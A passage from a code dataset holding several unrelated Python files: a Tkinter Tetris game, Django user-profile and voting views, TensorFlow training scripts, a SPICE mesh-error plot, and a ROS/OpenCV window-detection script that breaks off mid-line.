update_block = list()\n for i in newBlock:\n update_block.append((i[0]+modify,i[1]))\n if base == None:\n intersect = []\n else:\n intersect = list(set(update_block)&set(base.block))\n \n if intersect != []:\n print(\"Invalid rotation\")\n else: \n clear(target)\n target.replace(update_block)\n drawBlock(target)\n check()\n\n\ndef Rotate_CClock(root):\n global target\n if pause == True:\n return 0\n newBlock = target.rotate(-1)\n #print(newBlock)\n newBlock.sort()\n leftBound = newBlock[0][0]\n rightBound = newBlock[len(newBlock)-1][0]\n modify = 0\n if leftBound < 0:\n modify = -1 * leftBound\n elif rightBound > width - 1:\n modify = width - 1 - rightBound\n update_block = list()\n for i in newBlock:\n update_block.append((i[0]+modify,i[1]))\n if base == None:\n intersect = []\n else:\n intersect = list(set(update_block)&set(base.block))\n \n if intersect != []:\n print(\"Invalid rotation\")\n else: \n clear(target)\n target.replace(update_block)\n drawBlock(target)\n check()\n\n\ndef KeyLeft(root):\n global stateArray, target\n if pause == True:\n return 0\n newBlock = target.addVector((-1,0))\n if target.leftBound != 0:\n if base == None:\n clear (target)\n target.moveByVector((-1,0))\n drawBlock(target)\n else:\n intersect = list(set(newBlock)&set(base.block))\n if intersect == [] :\n clear(target)\n target.moveByVector((-1, 0))\n drawBlock(target)\n\ndef KeyRight(root):\n global stateArray, target\n if pause == True:\n return 0\n newBlock = target.addVector((1,0))\n if target.rightBound != width - 1:\n if base == None:\n clear (target)\n target.moveByVector((1,0))\n drawBlock(target)\n else:\n intersect = list(set(newBlock)&set(base.block))\n if intersect == [] :\n clear(target)\n target.moveByVector((1, 0))\n drawBlock(target)\n\ndef KeyFall(root):\n global target, base, width, height\n if pause == True:\n return 0\n modify = 0\n newBlock = []\n boundary = []\n intersect = []\n while intersect == []:\n modify += 1\n for i in target.block:\n newBlock.append((i[0],i[1] + modify))\n for i in range(width):\n boundary.append((i,height))\n if base == None:\n intersect = list(set(newBlock)&set(boundary))\n else:\n intersect = list(set(newBlock)&(set(base.block)|set(boundary)))\n clear(target)\n target.moveByVector((0, modify-1))\n drawBlock(target)\n check()\n \ndef KeyDown(root):\n global stateArray, base, target, height\n check()\n if pause == True:\n return 0\n newBlock = target.addVector((0,1))\n if base == None:\n clear(target)\n target.moveByVector((0, 1))\n drawBlock(target)\n\n else:\n intersect = list(set(newBlock)&set(base.block))\n if intersect == [] and target.downBound + 1 != height:\n clear(target)\n target.moveByVector((0, 1))\n drawBlock(target)\n\n \ndef Pause(root):\n global pause\n print(pause)\n if pause == False:\n pause = True\n return 0\n else:\n pause = False\n moveDown()\n print(\"continue\")\n return 0\n \ndef Restart():\n global pause, gameover\n gameover.destroy()\n\n init()\n \ndef GameOver():\n global gameover\n gameover = Tk()\n gameover.title('Game Over!')\n gameover.geometry('300x300+390+80')\n lgameover = Label(gameover,text='Game Over!',font=(font,20),justify = CENTER)\n lgameover.place(x=20,y=30,width=260, height=100)\n bgameover = Button(gameover,text='Restart',font=(font,35),\\\n justify = CENTER,command=Restart)\n bgameover.place(x=20,y=160,width=260, height=100)\n \ndef moveDown():\n global pause,speed\n #print(pause)\n if pause == True:\n return 0\n KeyDown(root)\n root.after(1000,moveDown)\n\n\nroot = Tk()\nroot.title('Tetris')\nroot.geometry('480x500+300+50')\nroot.bind(\"\",KeyLeft)\nroot.bind(\"\",KeyRight)\nroot.bind(\"\",KeyDown)\nroot.bind(\"\",KeyFall)\nroot.bind(\"\",Rotate_CClock)\nroot.bind(\"\",Rotate_Clock)\n\ninit()\nroot.mainloop()\n\n","sub_path":"Python/Tetris/Tetris.py","file_name":"Tetris.py","file_ext":"py","file_size_in_byte":12035,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"212633929","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.decorators import login_required\nfrom django.http import HttpResponse, HttpResponseRedirect, JsonResponse\nfrom django.db import transaction\nfrom django.core.urlresolvers import reverse\nfrom .models import Profile\nfrom .forms import UserForm, ProfileForm, Step2Form\nimport math\n\n# Home page\ndef index(request):\n welcome = \"Oi Oi Savloy\"\n return render(request, 'home.html', {'welcome':welcome})\n\n\n # view profile\ndef view_profile(request, username):\n user = User.objects.get(username=username)\n userid = user.id\n\n current_user = request.user\n recommends, is_indifferent, does_not_recommend = None, None, None\n\n if current_user.profile in user.profile.recommends.all():\n recommends = True\n\n if current_user.profile in user.profile.is_indifferent.all():\n is_indifferent = True\n\n if current_user.profile in user.profile.does_not_recommend.all():\n does_not_recommend = True\n\n r_count = Profile.objects.filter(recommend=user.profile).count()\n i_count = Profile.objects.filter(indifferent=user.profile).count()\n d_count = Profile.objects.filter(donotrecommend=user.profile).count()\n total_votes = r_count + d_count + i_count\n score = 0\n score = score + r_count\n score = score - d_count\n total = (total_votes +1)/3\n if score >= math.floor(total):\n rating = \"recommend\"\n elif score <= (math.ceil(total))*-1:\n rating = \"notrecommend\"\n else:\n rating = \"indifferent\"\n\n return render(request, 'profiles/view_profile.html', {\n\t\t'user': user,\n 'recommends': recommends,\n 'is_indifferent': is_indifferent,\n 'does_not_recommend':does_not_recommend,\n 'r_count':r_count,\n 'i_count':i_count,\n 'd_count':d_count,\n 'rating':rating,\n\t\t})\n\n\n#step2 reg\n@login_required\ndef step2(request, userid):\n\n # check the user we're trying to edit exists\n try: \n user = User.objects.get(id=userid)\n except User.DoesNotExist:\n return redirect('profiles:index') \n\n # check current user is the user we're trying to edit\n current_user = request.user\n if user == current_user:\n pass\n else:\n return redirect('profiles:index') \n\n # get profile object that matches user, or create it\n userprofile = Profile.objects.get_or_create(user=user)[0]\n\n # create a ProfileForm object and pre-populate fields if values exists\n step2form = Step2Form({\n 'account_type':userprofile.account_type,\n 'display_name':userprofile.display_name,\n 'image':userprofile.image,\n }, \n instance=request.user.profile)\n\n # if a form was submitted (i.e. form update sent)\n if request.method == 'POST':\n # create Profile object same as above, also getting FILES for image submitted\n step2form = Step2Form(request.POST, request.FILES, instance=request.user.profile)\n # check both forms are valid\n if step2form.is_valid():\n # save the profile form\n step2form.save()\n # get outa here. use correct redirect to avoid user refresh/resubmission issue\n return HttpResponseRedirect(reverse('profiles:edit_profile',args=(request.user.id,)))\n else:\n # if there were errors, WHY?!\n print(step2form.errors)\n\n # return the shiznit\n return render(request, 'profiles/step2.html', {\n 'step2form': step2form,\n 'selecteduser': user,\n })\n\n\n# edit users profile\n@login_required\n@transaction.atomic\ndef edit_profile(request, userid):\n\n\t# check that the userid passed in the url exists\n try: \n user = User.objects.get(id=userid)\n except User.DoesNotExist:\n return redirect('profiles:index')\n\n\n # check current user is the user we're trying to edit\n current_user = request.user\n if user == current_user:\n pass\n else:\n return redirect('profiles:index') \n\n\n # get profile object that matches user, or create it\n userprofile = Profile.objects.get_or_create(user=user)[0]\n\n # create a UserForm object with the current user\n user_form = UserForm(instance=request.user)\n\n # create a ProfileForm object and pre-populate fields if values exists\n profile_form = ProfileForm({\n 'display_name':userprofile.display_name,\n 'image':userprofile.image,\n 'account_type':userprofile.account_type,\n 'website':userprofile.website,\n 'facebook':userprofile.facebook,\n 'twitter':userprofile.twitter,\n 'pinterest':userprofile.pinterest,\n 'instagram':userprofile.instagram,\n 'phone_number':userprofile.phone_number,\n 'standard_video':userprofile.standard_video,\n 'vr_video':userprofile.vr_video,\n }, \n instance=request.user.profile)\n\n # if a form was submitted (i.e. form update sent)\n if request.method == 'POST':\n \t# create UserForm object using the submitted UserForm data\n user_form = UserForm(request.POST, instance=request.user)\n # create Profile object same as above, also getting FILES for image submitted\n profile_form = ProfileForm(request.POST, request.FILES, instance=request.user.profile)\n # check both forms are valid\n if user_form.is_valid() and profile_form.is_valid():\n \t# save the user form\n user_form.save()\n # save the profile form\n profile_form.save()\n # get outa here. use correct redirect to avoid user refresh/resubmission issue\n return HttpResponseRedirect(reverse('profiles:edit_profile',args=(request.user.id,)))\n else:\n \t# if there were errors, WHY?!\n \tprint(user_form.errors)\n \tprint(profile_form.errors)\n\n\t# return the shiznit\n return render(request, 'profiles/edit_profile.html', {\n 'user_form': user_form,\n 'profile_form': profile_form,\n 'selecteduser': user,\n })\n\n\n# recommend\n@login_required\ndef recommend(request):\n user_id = None\n success = \"failed\"\n current_user = request.user\n if request.method == 'GET':\n user_id = request.GET['user_id']\n if user_id:\n user = User.objects.get(id=user_id)\n if user:\n user.profile.recommends.add(current_user.profile)\n\n if current_user.profile in user.profile.is_indifferent.all():\n user.profile.is_indifferent.remove(current_user.profile)\n\n if current_user.profile in user.profile.does_not_recommend.all():\n user.profile.does_not_recommend.remove(current_user.profile)\n\n success = \"success\"\n return JsonResponse({'success':success})\n\n\n# indifferent\n@login_required\ndef indifferent(request):\n user_id = None\n success = \"failed\"\n current_user = request.user\n if request.method == 'GET':\n user_id = request.GET['user_id']\n if user_id:\n user = User.objects.get(id=user_id)\n if user:\n user.profile.is_indifferent.add(current_user.profile)\n\n if current_user.profile in user.profile.recommends.all():\n user.profile.recommends.remove(current_user.profile)\n\n if current_user.profile in user.profile.does_not_recommend.all():\n user.profile.does_not_recommend.remove(current_user.profile)\n\n success = \"success\"\n return JsonResponse({'success':success})\n\n\n# do not recommend\n@login_required\ndef do_not_recommend(request):\n user_id = None\n success = \"failed\"\n current_user = request.user\n if request.method == 'GET':\n user_id = request.GET['user_id']\n if user_id:\n user = User.objects.get(id=user_id)\n if user:\n user.profile.does_not_recommend.add(current_user.profile)\n\n if current_user.profile in user.profile.recommends.all():\n user.profile.recommends.remove(current_user.profile)\n\n if current_user.profile in user.profile.is_indifferent.all():\n user.profile.is_indifferent.remove(current_user.profile)\n\n success = \"success\"\n return JsonResponse({'success':success})","sub_path":"profiles/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":8299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"436855883","text":"import tensorflow as tf\n\nfrom seq2seq_tf2.model import Seq2Seq\nfrom seq2seq_tf2.train_helper import train_model, get_train_msg\nfrom utils.config_gpu import config_gpu\nfrom utils.params import get_params\nfrom utils.saveLoader import Vocab\nfrom utils.config import SEQ2SEQ_CKPT\nimport numpy as np\n\ndef train(params):\n # GPU资源配置\n config_gpu()\n # 读取vocab训练\n vocab = Vocab(params[\"vocab_path\"], params[\"vocab_size\"])\n params['vocab_size'] = vocab.count\n params[\"trained_epoch\"] = get_train_msg()\n params[\"learning_rate\"] *= np.power(0.9, params[\"trained_epoch\"])\n\n # 构建模型\n print(\"Building the model ...\")\n model = Seq2Seq(params)\n # 获取保存管理者\n checkpoint = tf.train.Checkpoint(Seq2Seq=model)\n checkpoint_manager = tf.train.CheckpointManager(checkpoint, SEQ2SEQ_CKPT, max_to_keep=5)\n\n checkpoint.restore(checkpoint_manager.latest_checkpoint)\n if checkpoint_manager.latest_checkpoint:\n print(\"Restored from {}\".format(checkpoint_manager.latest_checkpoint))\n else:\n print(\"Initializing from scratch.\")\n\n\n # 训练模型\n print(\"开始训练模型..\")\n print(\"trained_epoch:\", params[\"trained_epoch\"])\n print(\"mode:\", params[\"mode\"])\n print(\"epochs:\", params[\"epochs\"])\n print(\"batch_size:\", params[\"batch_size\"])\n print(\"max_enc_len:\", params[\"max_enc_len\"])\n print(\"max_dec_len:\", params[\"max_dec_len\"])\n print(\"learning_rate:\", params[\"learning_rate\"])\n\n train_model(model, vocab, params, checkpoint_manager)\n\n\nif __name__ == '__main__':\n # 获得参数\n params = get_params()\n # 训练模型\n train(params)\n","sub_path":"seq2seq_tf2/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":1642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"15574359","text":"import os\n\n\n# basic helper to get CQL schema from schema.cql file\ndef get_cql_schema_string_from_file(string_key):\n cql_string = ''\n start_of_block = False\n schema_cql_file_path = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), 'schema.cql')\n with open(schema_cql_file_path, 'r') as f:\n for line in f:\n if ' ' + string_key + ' ' in line:\n cql_string += line.strip('\\n').strip(' ')\n start_of_block = True\n if start_of_block is True and string_key not in line:\n cql_string += ' ' + line.strip('\\n').strip(' ')\n if start_of_block is True and '\\n' == line:\n break\n return cql_string\n","sub_path":"util/cql_file_util.py","file_name":"cql_file_util.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"291212932","text":"\n# coding: utf-8\n\n# In[1]:\n\n\nimport tensorflow as tf \nimport numpy as np\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n\n# In[2]:\n\n\nx_dados = np.linspace(0, 10, 20) + np.random.uniform(-1.5, 1.5, 20)\ny_label = np.linspace(0, 10, 20) + np.random.uniform(-1.5, 1.5, 20)\nplt.plot(x_dados, y_label, '*')\n#x_dados\n\n\n# In[3]:\n\n\nx_teste = np.linspace(-1, 11, 10)\n\n\n# In[4]:\n\n\nx = tf.placeholder(dtype='float32')\ny = tf.placeholder(dtype='float32')\nx\n\n\n# In[5]:\n\n\nnp.random.rand(2)\n\n\n# In[6]:\n\n\npeso = tf.Variable(0.56)\nbias = tf.Variable(0.20)\n\n\n# In[7]:\n\n\npeso_x = tf.multiply(peso, x)\n\n\n# In[8]:\n\n\n##y = peso*x + bias\n\n\n# In[9]:\n\n\ny_predito = tf.add(peso_x, bias)\n\n\n# In[10]:\n\n\nfunc_ativ = y_predito\n\n\n# In[11]:\n\n\nerro = tf.reduce_sum(tf.square(tf.subtract(y, func_ativ)))\n\n\n# In[12]:\n\n\notimizador = tf.train.GradientDescentOptimizer(learning_rate=0.001)\ntreinar = otimizador.minimize(erro)\n\n\n# In[13]:\n\n\ninit = tf.global_variables_initializer()\n\n\n# In[14]:\n\n\nwith tf.Session() as sess:\n sess.run(init)\n num_iter = 100\n \n for i in range(num_iter):\n sess.run(treinar, feed_dict={x:x_dados, y:y_label})\n \n peso_final, bias_final = sess.run([peso, bias])\n\n\n# In[15]:\n\n\ny_predito = peso_final*x_teste + bias_final\nplt.plot(x_teste, y_predito, 'r')\nplt.plot(x_dados, y_label, '*')\n\n","sub_path":"TensorFlow-29-01.py","file_name":"TensorFlow-29-01.py","file_ext":"py","file_size_in_byte":1340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"434453963","text":"#! /usr/bin/env python\nimport sys\nimport numpy as np\nimport itertools as it\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom roc_model import ROCModel\nfrom heat_problem import HeatProblem\nfrom analysis_utils import (aggregate_current_vectors,\n print_current_table,\n energy_flow,\n plot_heatmap)\n\nexp_largest_mesh = 6\nprob_size = 2**exp_largest_mesh\nsource = (0, 0, 1, 1)\nsink = (prob_size-1, prob_size-1, 1, 1)\ncond_exp = -3\nconductance = 10**cond_exp\nhp = HeatProblem(prob_size, source, sink, conductance, src_val=10.)\n\nuse_cached = True\nuse_virtualization = True\nvstep_size = 0\n\nfilename='tmp/bo_err_{}'\nground_truth_mesh = ROCModel(2**exp_largest_mesh)\nexp_size_range = range(2,exp_largest_mesh)\nmeshes = {exp_size:ROCModel(2**exp_size) for exp_size in exp_size_range}\n\n\ndef blue_p(exp_mesh_size):\n val = 2**(exp_mesh_size-2) # 1/4 point\n return (val,val)\n\ndef orange_p(exp_mesh_size):\n val = 3*2**(exp_mesh_size-2) # 3/4 point\n return (val,val)\n\ndef get_results(mesh, virtualize=False, vstep_size=0, cached=False):\n import os.path\n\n mesh.load_problem(hp)\n f = filename.format(mesh.w)\n exists = os.path.exists(f+'.out')\n if cached and exists and (not virtualize):\n mesh.init_from_cache(f)\n else:\n mesh.run_spice_solver(f if not virtualize else f+'vir',\n virtualize=virtualize,\n vstep_size=vstep_size)\n return mesh.final_grid\n\nbase_grid = get_results(ground_truth_mesh, cached=use_cached)\n\nbase_errs = []\nvrt0_errs = []\nvrtx_errs = []\nfor exp_mesh_size, mesh in meshes.items():\n\n # grid is a numpy array\n tmp_grid = get_results(mesh, cached=use_cached)\n\n base_errs.append(sum(sum(abs(base_grid-tmp_grid))))\n\n if use_virtualization:\n vrt0_grid = get_results(mesh, virtualize=True,\n vstep_size=0,\n cached=use_cached)\n\n vrt0_errs.append(sum(sum(abs(base_grid-vrt0_grid))))\n\n vrtx_grid = get_results(mesh, virtualize=True,\n vstep_size=int(mesh.w/4),\n cached=use_cached)\n\n vrtx_errs.append(sum(sum(abs(base_grid-vrtx_grid))))\n\n\nfor i in range(len(base_errs)):\n base_errs[i] /= prob_size**2\n if use_virtualization:\n vrt0_errs[i] /= prob_size**2\n vrtx_errs[i] /= prob_size**2\n\nrect = 0.1,0.2,0.8,0.7\nfig = plt.figure(figsize=(10,5))\nax = fig.add_axes(rect)\n\nsizes = [2**i for i in exp_size_range]\n\ndef custom_plot(ax, *xy):\n ax.plot(*xy, marker='o',\n markerfacecolor='none',\n markeredgewidth=2)\n\n ax.set_xlabel('Mesh Size')\n ax.set_xticks(sizes)\n ax.set_xticklabels(sizes)\n\n ax.set_ylabel('Error')\n\n print(xy[1])\n ax.set_ylim((0, max(xy[1])*1.1))\n ax.set_xlim(0,prob_size/2+1)\n\n ax.grid(b=True, axis='x')\n ax.grid(b=True, axis='y', linestyle='dashed')\n\n ax.spines['top'].set_linewidth(1)\n ax.spines['bottom'].set_linewidth(1)\n ax.spines['left'].set_linewidth(1)\n ax.spines['right'].set_linewidth(1)\n\nif use_virtualization:\n custom_plot(ax, sizes, base_errs,\n sizes, vrt0_errs,\n sizes, vrtx_errs)\nelse:\n custom_plot(ax, sizes, base_errs)\n\nplt.show()\n","sub_path":"test/scalable_mesh/accuracy/average_error.py","file_name":"average_error.py","file_ext":"py","file_size_in_byte":3342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"91671604","text":"\n#!/usr/bin/env python\nfrom __future__ import print_function\n\nimport roslib\nroslib.load_manifest('py_simulate')\nimport sys\nimport rospy\nimport cv2 as cv\nfrom std_msgs.msg import String\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge, CvBridgeError\nimport numpy as np\nimport math\nfrom simulate.msg import imtodyn\n\nit =0\ncv_image = np.zeros((1, 1, 3), np.uint8)\nframe_ = np.zeros((1, 1, 3), np.uint8)\nwindow_frame = np.zeros((1, 1, 3), np.uint8)\nimdata = np.zeros((1, 1, 3), np.uint8)\nmax_canny1, max_canny2 = 800, 800\nmax_GuKernelSize = 50\nwindow_capture_name = \"Video Capture\"\nmax_value_H, max_value = 360/2, 255\nlow_H, low_S, low_V, thresh = 0, 57, 37, 30\nhigh_H, high_S, high_V = 22, 108, 113\ncanny1, canny2, GuKernelSize, GuSigma = 131, 0, 7, 1.2\nity, itz = 0, 0\nshapeAR=1000\neuc, eucFilterIt, eucFIt, areaIt, iter = 0, 0, 0, 0, 0\nvecy, vecz, tempvecy, tempvecz, tempArea, xc, yc = 0,0,0,0,0, 0, 0\nflag, long_distance, enterance = False, False, False\noldP = [[0,0]]\nnewP = [[0,0]]\nwindow_points = []\n\n# tracker = cv.TrackerBoosting_create()\n# tracker = cv.TrackerTLD_create()\ntr_it = 0\n\nindex = []\nindex_before = []\nindex_change_x = False\nindex_change_y = False\nfrpl2 = False\nfrpl1 = False\nfcpl2 = False\nfcpl1 = False\n\nseed = []\nis_set = False\n\ncamera_matrix = np.float64([[376.744103, 0, 319.513089],\n [0, 376.572581,178.056011],\n [0.0,0.0, 1.000000]])\ndistortion_matrix = [-0.000545, 0.000835, -0.000038, -0.000143, 0.000000]\ndistortion_matrix = np.array(distortion_matrix)\ndistortion_matrix = distortion_matrix.reshape((5,1))\nx1, y1 = 1.5, 1\nreal_rect_info = np.float32([[0, 0, 0], [x1, 0, 0], [x1, y1, 0], [0, y1, 0]])\n#\npub = rospy.Publisher('visual_info', imtodyn, queue_size=1)\nmsg = imtodyn()\n\ndef on_low_H_thresh_trackbar(val):\n global low_H\n global high_H\n low_H = val\n low_H = min(high_H-1, low_H)\n cv.setTrackbarPos(\"Low H\", window_capture_name, low_H)\ndef on_high_H_thresh_trackbar(val):\n global low_H\n global high_H\n high_H = val\n high_H = max(high_H, low_H+1)\n cv.setTrackbarPos(\"High H\", window_capture_name, high_H)\ndef on_low_S_thresh_trackbar(val):\n global low_S\n global high_S\n low_S = val\n low_S = min(high_S-1, low_S)\n cv.setTrackbarPos(\"Low S\", window_capture_name, low_S)\ndef on_high_S_thresh_trackbar(val):\n global low_S\n global high_S\n high_S = val\n high_S = max(high_S, low_S+1)\n cv.setTrackbarPos(\"High S\", window_capture_name, high_S)\ndef on_low_V_thresh_trackbar(val):\n global low_V\n global high_V\n low_V = val\n low_V = min(high_V-1, low_V)\n cv.setTrackbarPos(\"Low V\", window_capture_name, low_V)\ndef on_high_V_thresh_trackbar(val):\n global low_V\n global high_V\n high_V = val\n high_V = max(high_V, low_V+1)\n cv.setTrackbarPos(\"High V\", window_capture_name, high_V)\ndef on_thresh_thresh_trackbar(val):\n global thresh\n # global high_V\n thresh = val\n # high_V = max(high_V, low_V+1)\n cv.setTrackbarPos(\"thresh\", window_capture_name, thresh)\n\ndef onMouse(event, x, y, flags, param):\n global seed, is_set, tempArea, tempvecy, tempvecz, frame_, cv_image, index, index_before\n if event == cv.EVENT_LBUTTONDOWN:\n seed = (x,y)\n # print(seed)\n frame_ = cv_image.copy()\n im = cv_image.copy()\n pic = preProcessing(im)\n wins = contourExtraction(pic, im)\n minDist=1e7\n dist=-1\n choiceIndex=-1\n i = 0\n for win in wins:\n if cv.pointPolygonTest(win, seed, False)!=-1:\n dist = cv.pointPolygonTest(win, seed, True)\n if minDist>dist:\n minDist = dist\n choiceIndex = i\n i = i+1\n tempArea = cv.contourArea(wins[choiceIndex])\n index = windowIndex(wins, wins[choiceIndex])\n index_before = index\n print(index)\n cv.drawContours( frame_, wins, choiceIndex, (255,0,0), 2);\n is_set = True\n\ndef setWindow(img):\n if is_set: return\n global frame_\n cv.namedWindow(\"operator desicion\")\n cv.setMouseCallback(\"operator desicion\", onMouse)\n pic = preProcessing(img)\n wins = contourExtraction(pic, img)\n\n cv.imshow(\"operator desicion\", img)\n # print(1)\n cv.waitKey(1)\n # cv.destroyAllWindows()\n\ndef preProcessing(img):\n # cv.namedWindow(window_capture_name)\n # cv.createTrackbar(\"Low H\", window_capture_name , low_H, max_value_H, on_low_H_thresh_trackbar)\n # cv.createTrackbar(\"High H\", window_capture_name , high_H, max_value_H, on_high_H_thresh_trackbar)\n # cv.createTrackbar(\"Low S\", window_capture_name , low_S, max_value, on_low_S_thresh_trackbar)\n # cv.createTrackbar(\"High S\", window_capture_name , high_S, max_value, on_high_S_thresh_trackbar)\n # cv.createTrackbar(\"Low V\", window_capture_name , low_V, max_value, on_low_V_thresh_trackbar)\n # cv.createTrackbar(\"High V\", window_capture_name , high_V, max_value, on_high_V_thresh_trackbar)\n # cv.createTrackbar(\"thresh\", window_capture_name , thresh, max_value, on_thresh_thresh_trackbar)\n#\n erosion_type = cv.MORPH_RECT\n erosion_size1 = 3\n erosion_size2 = 2\n element1 = cv.getStructuringElement(erosion_type, (2*erosion_size1 + 1, 2*erosion_size1+1), (erosion_size1, erosion_size1))\n element2 = cv.getStructuringElement(erosion_type, (2*erosion_size2 + 1, 2*erosion_size2+1), (erosion_size2, erosion_size2))\n\n\n frame_HSV = cv.cvtColor(img, cv.COLOR_BGR2HSV)\n frame_threshold = cv.inRange(frame_HSV, (low_H, low_S, low_V), (high_H, high_S, high_V))\n frame_inverse = cv.bitwise_not(frame_threshold)\n\n frame_inverse = cv.GaussianBlur(frame_inverse,(3,3),1.2)\n frame_inverse = cv.erode(frame_inverse, element1)\n _,frame_inverse = cv.threshold(frame_inverse,thresh,255,cv.THRESH_BINARY)\n frame_inverse = cv.dilate(frame_inverse, element2)\n#\n # cv.imshow(window_capture_name,frame_inverse)\n # cv.waitKey(1)\n return frame_inverse\n\ndef euclideanDist(p, q):\n p1 = np.array(p)\n p2 = np.array(q)\n p1 = p1.ravel()\n p2 = p2.ravel()\n diff = [p1[0]-p2[0], p1[1]-p2[1]]\n return math.sqrt((diff[0]*diff[0])+(diff[1]*diff[1]))\n\ndef reconstructRect(contour):\n if len(contour)==2:\n win = [[[contour[0][0][0], contour[0][0][1]]],\n [[contour[0][0][0], contour[1][0][1]]],\n [[contour[1][0][0], contour[1][0][1]]],\n [[contour[1][0][0], contour[0][0][1]]]]\n win = np.array(win)\n return win\n elif len(contour)==3:\n diff = -1\n for i in range(3):\n for j in range(3):\n if i==j: continue\n if diff<(abs(contour[i][0][0]-contour[j][0][0])+abs(contour[i][0][1]-contour[j][0][1])):\n diff = abs(contour[i][0][0]-contour[j][0][0])+abs(contour[i][0][1]-contour[j][0][1])\n diam1_1 = [[contour[i][0][0], contour[i][0][1]]]\n diam1_2 = [[contour[j][0][0], contour[j][0][1]]]\n for k in range(3):\n di = [[contour[k][0][0], contour[k][0][1]]]\n if di!=diam1_1 and di!=diam1_2:\n diam2_1 = di\n # print(diam1_1)\n # print(diam1_2)\n # print(diam2_1)\n diam2_2 = [[diam1_2[0][i] + diam1_1[0][i] - diam2_1[0][i] for i in range(2)]]\n win = [diam1_1,diam2_1,diam1_2,diam2_2]\n win = np.array(win)\n return win\n elif len(contour)==4:\n return contour\n else:\n p1, p2, p3, p4 = [], [],[],[]\n min_xpy=1e6\n max_xpy=-1\n min_xmy=1e6\n max_xmy=-1e6\n for cnt in contour:\n xpy = cnt[0][0] + cnt[0][1]\n xmy = cnt[0][0] - cnt[0][1]\n if min_xpy>=xpy:\n min_xpy = xpy\n p1 = cnt\n if min_xmy>=xmy:\n min_xmy = xmy\n p2 = cnt\n if max_xpy<=xpy:\n max_xpy = xpy\n p3 = cnt\n if max_xmy<=xmy:\n max_xmy = xmy\n p4 = cnt\n win = [p1,p2,p3,p4]\n win = np.array(win)\n return win\n\ndef rectangleGeometric(points):\n global cv_image\n max = may = dx = xc = dy = yc = 0\n rows,cols,_ = cv_image.shape\n xpc = cols/2 - 1\n ypc = rows/2 - 1\n mix = miy = 1e6\n for point in points:\n if maxpoint[0][0]: mix = point[0][0]\n if miy>point[0][1]: miy = point[0][1]\n xc = (max+mix)/2 + 1;\n yc = (may+miy)/2 + 1;\n dx = xc - xpc;\n dy = yc - ypc;\n return dx, dy;\n\ndef fourPSort(cont):\n success = False\n res = []\n if len(cont)==0: return res, success;\n xm = ym = 0\n for point in cont:\n xm = xm + point[0][0]\n ym = ym + point[0][1]\n xm = xm / len(cont)\n ym = ym / len(cont)\n c1 = []\n c2 = []\n c3 = []\n c4 = []\n for point in cont:\n if (point[0][0]<=xm)and(point[0][1]>=ym):\n c1.append(point)\n elif (point[0][0]>xm)and(point[0][1]>ym):\n c2.append(point)\n elif (point[0][0]>=xm)and(point[0][1]<=ym):\n c3.append(point)\n elif (point[0][0]=2 : continue\n\n windows.append(poly)\n cv.drawContours(img0, windows, -1, (0,0,255), 2)\n return windows;\n\ndef boundingBox(contour):\n global cv_image\n rows, cols, _ = cv_image.shape\n max = may = 0\n mix = miy = 1e6\n for point in contour:\n if maxpoint[0][0]: mix = point[0][0]\n if miy>point[0][1]: miy = point[0][1]\n box = (mix, miy, (max-mix), (may-miy))\n return box;\n\ndef contourCenter(contour):\n x, y = 0, 0\n # print(len(contour))\n for pt in contour:\n x = x + pt[0][0]\n y = y + pt[0][1]\n x = x/len(contour)\n y = y/len(contour)\n return x, y;\n\ndef findNearest(windowsInfo, win, xlim, ylim):\n # Each element of windowsInfo, consists of index, center x and y and the contour of the window\n minx = miny = 1e7\n nearestX_y = nearestY_x = tempX_y = tempY_x = 1e7\n farest_x = farest_y = -1\n nearestX = []\n nearestY = []\n tempX = []\n tempY = []\n wins = windowsInfo\n\n if xlim==0 or ylim==0:\n _,_, a, b = boundingBox(win[3])\n if xlim==0: xlim = (a*b)/math.sqrt((4*b*b)+(a*a))\n if ylim==0: ylim = (a*b)/math.sqrt((b*b)+(4*a*a))\n\n typicalSide = 0\n win_area = cv.contourArea(win[3])\n for wn in wins:\n area = cv.contourArea(wn[3])\n typicalSide = typicalSide + math.sqrt(area)\n typicalSide = typicalSide/len(wins)\n for wn in wins:\n distX = abs(win[1]-wn[1])\n distY = abs(win[2]-wn[2])\n if distX==0 and distY==0:\n continue\n if distXdistY:\n nearestX = wn\n nearestX_y = distY\n if farest_ydistX:\n nearestY = wn\n nearestY_x = distX\n if farest_xdistX and distX>=xlim: # for single columns\n minx = distX\n tempX = wn\n tempX_y = distY\n if miny>distY and distY>=ylim: # for single rows\n miny = distY\n tempY = wn\n tempY_x = distX\n if nearestY_x==1e7:\n farest_x = nearestY_x = tempY_x\n nearestY = tempY\n if nearestX_y==1e7:\n farest_y = nearestX_y = tempX_y\n nearestX = tempX\n if nearestX_ytempArea or area<0.2*tempArea:\n continue\n x, y = contourCenter(poly)\n winTable.append([i, x, y, np.int32(poly)])\n\n b = a = 1e7\n hors = []\n vers = []\n removeList = []\n for k, wn in enumerate(winTable):\n _, _, bl, al, _, _ = findNearest(winTable, wn, 0, 0)\n if b>bl: b = bl\n if a>al: a = al\n hors.append([al, wn])\n vers.append([bl, wn])\n\n for k, el in enumerate(hors):\n if abs(el[0]-a)>(2*a):\n if el[1] in winTable:\n winTable.remove(hors[k][1])\n el[0] = -1\n\n for k, el in enumerate(vers):\n if abs(el[0]-b)>(2*b):\n if el[1] in winTable:\n winTable.remove(vers[k][1])\n el[0] = -1\n\n maxHors = max(el[0] for el in hors)\n maxVers = max(el[0] for el in vers)\n\n numWin = len(winTable)\n if numWin<=2:\n print('Low number of contours to windowIndex!')\n return [1]\n\n ylim = 